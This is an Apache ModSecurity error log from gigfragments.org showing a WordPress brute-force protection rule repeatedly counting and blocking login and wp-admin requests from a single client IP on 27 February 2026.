[Fri Feb 27 04:47:11.351937 2026] [:error] [pid 21329:tid 21399] [client 141.98.11.209:49773] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxT5vQWnde-MjcQ1FY2QAAAVA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:12.482576 2026] [:error] [pid 42658:tid 42667] [client 141.98.11.209:51141] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaCxUIzcoYl3nRbu1jZZWwAAAgc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:13.616957 2026] [:error] [pid 5365:tid 5367] [client 141.98.11.209:51699] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaCxUZYAa8J3tYxdG3wgLgAAAQA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:14.743984 2026] [:error] [pid 5365:tid 5376] [client 141.98.11.209:52262] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaCxUpYAa8J3tYxdG3wgOAAAAQk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:15.883099 2026] [:error] [pid 5365:tid 5388] [client 141.98.11.209:52835] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxU5YAa8J3tYxdG3wgSwAAARU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:17.290069 2026] [:error] [pid 5365:tid 5387] [client 141.98.11.209:52835] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaCxVZYAa8J3tYxdG3wgWQAAARQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:18.419302 2026] [:error] [pid 42563:tid 42586] [client 141.98.11.209:54081] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaCxVnKL5BclZy73IRG6CQAAAdA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:19.565893 2026] [:error] [pid 42658:tid 42662] [client 141.98.11.209:54625] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaCxV4zcoYl3nRbu1jZZhQAAAgI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:20.697869 2026] [:error] [pid 42658:tid 42673] [client 141.98.11.209:55133] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaCxWIzcoYl3nRbu1jZZkAAAAg0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:21.834527 2026] [:error] [pid 42563:tid 42593] [client 141.98.11.209:55660] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxWXKL5BclZy73IRG6JwAAAdc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:25.056780 2026] [:error] [pid 42563:tid 42583] [client 141.98.11.209:55660] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxXXKL5BclZy73IRG6PAAAAc0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:26.543109 2026] [:error] [pid 42563:tid 42588] [client 141.98.11.209:55660] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxXnKL5BclZy73IRG6RgAAAdI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:29.376794 2026] [:error] [pid 42563:tid 42575] [client 141.98.11.209:55660] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxYXKL5BclZy73IRG6UAAAAcc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:30.709899 2026] [:error] [pid 42563:tid 42587] [client 141.98.11.209:55660] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxYnKL5BclZy73IRG6UQAAAdE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:33.804537 2026] [:error] [pid 42563:tid 42579] [client 141.98.11.209:55660] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxZXKL5BclZy73IRG6VAAAAck"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:35.282924 2026] [:error] [pid 42563:tid 42571] [client 141.98.11.209:55660] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxZ3KL5BclZy73IRG6VQAAAcM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:35.283024 2026] [:error] [pid 42563:tid 42571] [client 141.98.11.209:55660] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxZ3KL5BclZy73IRG6VQAAAcM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:37.994475 2026] [:error] [pid 21329:tid 21385] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxaZvQWnde-MjcQ1FY-AAAAUI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:39.353924 2026] [:error] [pid 21329:tid 21394] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxa5vQWnde-MjcQ1FY-QAAAUs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:42.128750 2026] [:error] [pid 21329:tid 21389] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxbpvQWnde-MjcQ1FY_QAAAUY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:43.453788 2026] [:error] [pid 21329:tid 21392] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxb5vQWnde-MjcQ1FZAwAAAUk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:46.425107 2026] [:error] [pid 21329:tid 21390] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxcpvQWnde-MjcQ1FZCQAAAUc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:47.731722 2026] [:error] [pid 21329:tid 21385] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxc5vQWnde-MjcQ1FZCgAAAUI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:50.431909 2026] [:error] [pid 21329:tid 21389] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxdpvQWnde-MjcQ1FZDQAAAUY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:51.750756 2026] [:error] [pid 21329:tid 21398] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxd5vQWnde-MjcQ1FZDgAAAU8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:54.397707 2026] [:error] [pid 21329:tid 21387] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxepvQWnde-MjcQ1FZEAAAAUQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:55.728434 2026] [:error] [pid 21329:tid 21402] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxe5vQWnde-MjcQ1FZEQAAAVM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:58.488899 2026] [:error] [pid 21329:tid 21401] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxfpvQWnde-MjcQ1FZEwAAAVI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:58.488956 2026] [:error] [pid 21329:tid 21401] [client 141.98.11.209:63577] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxfpvQWnde-MjcQ1FZEwAAAVI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:47:59.613596 2026] [:error] [pid 42435:tid 42456] [client 141.98.11.209:59008] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaCxfx5hHLnaukp_y9-C2gAAAZA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:00.744924 2026] [:error] [pid 3975:tid 4010] [client 141.98.11.209:59623] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaCxgBMVp0-T2hD76b28ywAAAIA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:01.898951 2026] [:error] [pid 42563:tid 42589] [client 141.98.11.209:60197] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaCxgXKL5BclZy73IRG6YAAAAdM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:03.054978 2026] [:error] [pid 42563:tid 42571] [client 141.98.11.209:60750] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxg3KL5BclZy73IRG6YwAAAcM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:05.763635 2026] [:error] [pid 42563:tid 42568] [client 141.98.11.209:60750] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxhXKL5BclZy73IRG6ZgAAAcA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:07.056137 2026] [:error] [pid 42563:tid 42569] [client 141.98.11.209:60750] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxh3KL5BclZy73IRG6ZwAAAcE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:09.794265 2026] [:error] [pid 42563:tid 42594] [client 141.98.11.209:60750] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxiXKL5BclZy73IRG6aQAAAdg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:11.130188 2026] [:error] [pid 42563:tid 42593] [client 141.98.11.209:60750] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxi3KL5BclZy73IRG6bAAAAdc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:13.899546 2026] [:error] [pid 42563:tid 42588] [client 141.98.11.209:60750] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxjXKL5BclZy73IRG6eAAAAdI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:15.274636 2026] [:error] [pid 42563:tid 42590] [client 141.98.11.209:60750] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxj3KL5BclZy73IRG6gAAAAdQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:18.293724 2026] [:error] [pid 42563:tid 42581] [client 141.98.11.209:60750] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxknKL5BclZy73IRG6gwAAAcs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:19.634677 2026] [:error] [pid 42563:tid 42582] [client 141.98.11.209:60750] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxk3KL5BclZy73IRG6hQAAAcw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:21.048836 2026] [:error] [pid 42563:tid 42569] [client 141.98.11.209:60750] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaCxlXKL5BclZy73IRG6hgAAAcE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:22.183016 2026] [:error] [pid 5365:tid 5389] [client 141.98.11.209:53793] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaCxlpYAa8J3tYxdG3whCAAAARY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:23.318186 2026] [:error] [pid 42563:tid 42588] [client 141.98.11.209:54352] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaCxl3KL5BclZy73IRG6iQAAAdI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:24.460712 2026] [:error] [pid 42658:tid 42660] [client 141.98.11.209:54920] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaCxmIzcoYl3nRbu1jZahwAAAgA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:25.620994 2026] [:error] [pid 42658:tid 42670] [client 141.98.11.209:55497] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxmYzcoYl3nRbu1jZaiwAAAgo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:28.433238 2026] [:error] [pid 42658:tid 42678] [client 141.98.11.209:55497] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxnIzcoYl3nRbu1jZakwAAAhI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:29.755823 2026] [:error] [pid 42658:tid 42665] [client 141.98.11.209:55497] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxnYzcoYl3nRbu1jZalgAAAgU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:32.456029 2026] [:error] [pid 42658:tid 42684] [client 141.98.11.209:55497] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxoIzcoYl3nRbu1jZamAAAAhg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:33.859036 2026] [:error] [pid 42658:tid 42661] [client 141.98.11.209:55497] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxoYzcoYl3nRbu1jZamgAAAgE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:36.635292 2026] [:error] [pid 42658:tid 42670] [client 141.98.11.209:55497] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxpIzcoYl3nRbu1jZanQAAAgo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:37.953613 2026] [:error] [pid 42658:tid 42663] [client 141.98.11.209:55497] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxpYzcoYl3nRbu1jZangAAAgM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:40.744303 2026] [:error] [pid 42658:tid 42679] [client 141.98.11.209:55497] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxqIzcoYl3nRbu1jZaoAAAAhM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
